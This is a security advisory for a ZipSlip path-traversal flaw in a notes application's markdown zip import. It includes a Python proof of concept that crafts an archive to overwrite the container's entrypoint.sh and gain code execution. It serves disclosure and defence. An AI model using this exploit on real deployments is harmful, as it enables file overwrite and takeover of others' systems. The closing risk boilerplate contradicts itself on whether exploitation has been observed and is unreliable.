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GHSA-gqfv-g4v7-m366
No affected components available
Summary
Function importZipMd is vulnerable to ZipSlip which allows an authenticated user to overwrite files on the system.
Details
An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is importZipMd, this can escalate to full code execution under some circumstances, for example using the official docker image it is possible to overwrite entrypoint.sh and after a container restart it will execute the changed code causing remote code execution.
PoC
Code used to generate the ZipSlip:
#!/usr/bin/env python3
import sys, base64, zipfile, io, time
def prepare_zipslip(filename):
orgfile1 = open('Test.md','rb').read()
payload = open('entrypoint.sh','rb').read() #b"testpayload"
zipslip = io.BytesIO()
with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:
info = zipfile.ZipInfo('Test.md')
mtime = time.time()
t = time.localtime(mtime)
info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
zipf.writestr(info, orgfile1)
info = zipfile.ZipInfo(filename)
mtime = time.time()
t = time.localtime(mtime)
info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
zipf.writestr(info, payload)
return zipslip.getvalue()
gz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh')
open('exp.zip', 'wb').write(gz)
Impact
The exploit is possible only if the attacker has access to import functionality. It's possible to achieve code execution and some persistence within the container
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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